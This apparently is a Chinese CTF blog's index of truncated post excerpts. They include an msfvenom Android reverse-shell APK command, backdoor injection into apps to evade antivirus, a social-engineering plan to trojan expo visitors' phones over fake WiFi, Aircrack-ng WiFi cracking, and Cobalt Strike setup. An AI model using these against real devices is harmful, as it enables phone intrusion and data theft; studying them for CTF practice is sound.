CTF学习笔记（大学篇）07 —— 手动注入msf到指定的程序
填坑回，因为之前在CTF学习笔记（大学篇）05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 | GamerNoTitle (bili33.top)这篇文章里面说有时间就写，然后写我们CTF俱乐部学期总结的时候就顺带讲了这个，所以就填了个坑
首先要生成带有后门程序的apk文件
1msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5555 R > pentestlab.apk
这里的host我实际上填的是我的公网服务器的IP地址，生成以后，如果直接安装，手机是肯定会报毒的（特别是装的国产定制ROM如MIUI、COLOROS之类的），这个时候就要把我们的后门程序注入到其他的软件里面去
（装上了会像右边这个图标这样，啥也没有，而且点开除了打开了后门也不会有什么反应）
然后我们反编译一下软件，用Linux（可能会）自带的apktool（如果没有请直走右转Github）
1234567891011121314┌──(gamernotitle㉿kali-vmware)-[ ...
2022年全国大学生信息安全竞赛创新实践能力赛 —— 复赛WriteUp
已更新官方WriteUP 代码浏览 - 20220619-National - CTF赛事文件合集 - GamerNoTitle的团队 (coding.net)
Break部分（好的，啥也不会）
WebTry2ReadFlag小明创建了一个测试站点，但是这个站点有什么用呢？
打开来是个网页，我没看出啥，不过我们队里搞Web的那位说是CSRF跨站攻击
joomla建站勿用弱口令！
这个是个CMS框架，整不出，提示写着建站勿用弱口令！，但是我没爆破出来……
（忘记截图了）
EzRome经过上次的战“疫”，你们已经对rome很了解了，现在他又带着新的waf卷土重来了。
这是一个WAF下的题目，还是不会嗯
EzLogin登陆成功就有flag哟~
一开始以为是弱口令，等到进了fix环节才发现我好像忘记了robots.txt也可以访问，可以大致看到路径下有什么文件，fix环节在讲这个
PWN小明的加密器小明写了一个字符串加密器，但不知道效果如何，大家来测一测吧！
nc进去后是一个加密器，但是没整出来
weirdheapA Little Weird
nc进去是一个程序，是一个建楼的背景
1 ...
CTF学习笔记（大学篇）06 —— 实战！在拟定的背景下运用社工和后门程序获取用户手机上的内容
这是一次结合了前几次文章里面介绍的各种方法来做的一次实战（主要是有讲座啥的挤在一起了，然后顺带就拿出来实战了一下），那么话不多说，我们现在开始！
所有未经允许的入侵均违法！！！
情景拟定假设现在即将迎来中国国际数码互动娱乐展览会（ChinaJoy，简称CJ），而你想要获取在场的用户手机中的某些文件。自然，直接向别人询问肯定是不合理的。此时我们想：能否通过网络直接访问到别人手机的文件，然后把我们需要的文件下载下来呢？
结合我前面几篇文章写的，我就想到可以通过社工手段诱导用户下载木马程序并安装运行，从而获取用户手机的控制权限，进而能够找到我们需要的文件并且下载下来这样的手段
方案拟定社工手段分很多种，社工库（这个真没办法，背后的原因很多样）、钓鱼网站（Steam高价值库存会遇到很多）等等等等，但既然是一个区域内的社工，首先想到的就是公共WIFI。因为本来就是个广Door人，花生地铁WIFI用的超级多（特别是之前流量的价格实在是伤不起的时候，但现在印象中不是有名无实就是直接没有了)
另外，像天河城之类的地方有什么aWifi、freewifi之类的，肯德基有KFCFreeWifi，麦当劳有 ...
Linux踩坑记录：为什么我的sudo反应这么慢
在用Kali的时候，用的最多的东西就是sudo了，但是在使用的过程中我发现一个问题：我在使用sudo的时候要等个半分钟到两分钟的时间才会让我输入密码，但是刚刚安装好kali的时候就不存在这个问题
当我在百度搜索的时候，我发现了有一种情况非常贴合我的kali：修改过hosts（/etc/hosts）文件
按照百度出来的结果描述，当使用sudo的时候，会先去寻找主机地址，而hosts文件中有几行就是写了主机地址的
1234567127.0.0.1 localhost127.0.1.1 kali-vmware # 这个是主机名，我这里在VMware上面装的而且命名为kali-vmware# The following lines are desirable for IPv6 capable hosts::1 localhost ip6-localhost ip6-loopbackff02::1 ip6-allnodesff02::2 ip6-allrouters
我打开我的hosts文件，因为之前修改过，后来被我删掉后重新touch了一次，所以是空的，我把这几行加回去后，诶，正 ...
CTF学习笔记（大学篇）05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序
本文所用项目链接
ba0gu0/520apkhook: 把msf生成的安卓远控附加进普通的app中，并进行加固隐藏特征。可以绕过常见的手机安全管家。 (github.com)
在Ubuntu安装Msfvenom本来我想着能不能通过apt安装的，毕竟也是个软件包嘛（Kali就带了），然后我尝试运行
1sudo apt install msfvenom -y
结果告诉我找不到，只好求助于万能的Bing
首先我们需要把下面的这些内容保存到一个文件中（文件名随意）
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231 ...
使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器
相信大家现在在用的微信推送平台都是什么方糖QQ的server酱（Server酱·Turbo版 (ftqq.com)）又或者是什么PushPlus之类的，我自己用的是server酱，但是在使用过程中发现一个问题：它每天只能推5条消息
对于我这种拿另一个手机使用SMSForwarder（pppscn/SmsForwarder: 短信转发器 (github.com)）来转发短信的人来说，一天接到的验证码短信肯定不只5条，虽然配置了邮件转发，但是有的时候QQ的smtp服务器抽风，而且邮件不如微信好用，所以我就在想能不能搭建一个自己的推送服务器
恰巧我之前看到过songquanpeng/message-pusher: 搭建专属于你的微信消息推送服务 (github.com)这个项目，因为文档里面说可以部署在heroku上面，我就干起来了
本次使用到的项目以及平台：
pppscn/SmsForwarder: 短信转发器 (github.com)
songquanpeng/message-pusher: 搭建专属于你的微信消息推送服务 (github.com ...
在华为Watch Pro 3上面安装第三方应用
我身边老多人用智能手表了，OPPO Watch 2 已经见怪不怪了，这不又来了个HUAWEI Watch Pro 3手表，说请我帮他装点软件。说白了手表装软件不就adb嘛能有啥，既然结了这活，那就干吧（因为忘记拍照了，所以本文应该是全文字）
华为手表用的是鸿蒙系统，一开始我还在担心会不会没有adb调试的功能，等我按照正常操作（关于，版本号连点5下，开发者选项）后，看到开发者选项里面没有adb调试这个选项，取而代之的是什么HDC调试（我猜是华为自己的一种调试模式），实际测试这个HDC调试跟adb调试好像是一个东西？用abd都能够连接
使用adb connect ip:port进行连接，我一开始天真的以为直接adb install就可以了，当我这么操作的时候，这傻逼系统告诉我说不允许通过adb安装应用，我翻了翻开发者选项，没有平常的通过adb安装应用的开关，上网搜了一下说com.android.packageinstaller这个应用包会禁止安装应用，所以要先关掉，装完要开回来（不然会变砖头）
所以就很简单啦，在安装之前我们先关掉这个应用包，安装完后打开即可
这里有个坑：华为手表连接WIF ...
CTF学习笔记（大学篇）04 —— 使用Aircrack-ng来破解WIFI
Aircrack-ng 官网：https://www.aircrack-ng.org/
Aircrack-ng是用来破解WIFI密码的工具，原理就是先寻找要破解的WIFI，然后把设备T下线，伪装成热点，让其他设备连接到伪装热点上获取握手包，最后跑字典把密码跑出来
说白了就是字典里面如果有就是有，没有那就没戏，所以其实用处嘛……
Aircrack-Ng 安装Kali其实自带了这个东西，但是对于大部分的Linux发行版是不带的，所以我们需要进行安装
最简单的方式就是直接通过apt进行安装
12sudo apt updatesudo apt install aircrack-ng -y
我这里因为装过了所以才是这么提示的，如果没装过会进入正常的apt安装流程
网卡设置我这里自己插了一张AWUS036H网卡（显示为wlan0），某宝从几十块到几百的都有，那我这张自然是白嫖的嘛
顺带上一张实物图
要开始使用Aircrack-ng，就需要把网卡设置为监听模式，不过这个设置Aircrack-ng里面有一键化的命令，我们只需要执行
1sudo airmon-ng start <网卡名 ...
2022年全国大学生信息安全竞赛创新实践能力赛初赛 —— 部分WriteUp
前言因为今年第一年参加，其实啥也不会，所以就把做出来的题放出来吧
签到电台题目内容题目内容：豪密，是中国共产党和中国工农红军第一本无线电通讯密码的简称，由周恩来同志亲自编制，以周恩来党内化名“伍豪”命名，它是我党建立机要工作最早也是保密性能最强的一种密码，从二十世纪三十年代到全国解放，都始终未被破译。春秋GAME伽玛实验室团队通过对豪密的加密模式进行分析，并参考已有的文献资料，仿制豪密的加密方法，制作成一道题目，谨以此题致敬情报战线的先辈们。
请点击“下发赛题”，让我们一起穿越百年，追寻红色通信足迹。（关注“春秋伽玛”公众号，回复“签到电台”获取解题提示）
思路这题题目中其实没有太多的信息，主要是进去的那个网页里面有东西：一个标准电码表、一个密码本，然后附了一个参考资料
打开F12的开发者工具，然后按照要求点三下(即摩尔斯电码中的s)，就抓到了请求的模板（这里手动的后面多了个J，但是实测不要J也可以）
即可以通过http://<域名>:<端口>/send?msg=<对应的英文字母>这样的格式，使用GET请求来发送信息
发送消息为”弼时安全到达了“ ...
CTF学习笔记（大学篇）03 —— CobaltStrike 详解
CobaltStrike信息官网：Cobalt Strike | Adversary Simulation and Red Team Operations
Cobalt Strike（下面会简称为CS）是一款由java编写的全平台多方协同渗透测试框架，在3.0版本之前它基于Metasploit框架工作，在3.0后的版本以独立成一个渗透测试平台。CobaltStrike集成了端口转发、端口扫描、socket代理、提权、钓鱼、远控木马等功能。该工具几乎覆盖了APT攻击链中所需要用到的各个技术环节，且其最大的优点在于可以进行团队合作和优越的UI界面。
不过这东西好像是要钱的，在百度搜索可以找到别人打包好的程序，包括汉化包、服务器等东西（自己找去吧），但是一定要注意，teamserver和CS程序本体的版本号一定要一样！
如果是官方下载的纯净版，那目录结构应该是长这样的
1234567891011121314151617CobaltStrike│ agscript│ c2lint│ cobaltstrike│ cobaltstrike.bat│ CSAgent.jar│ pec ...
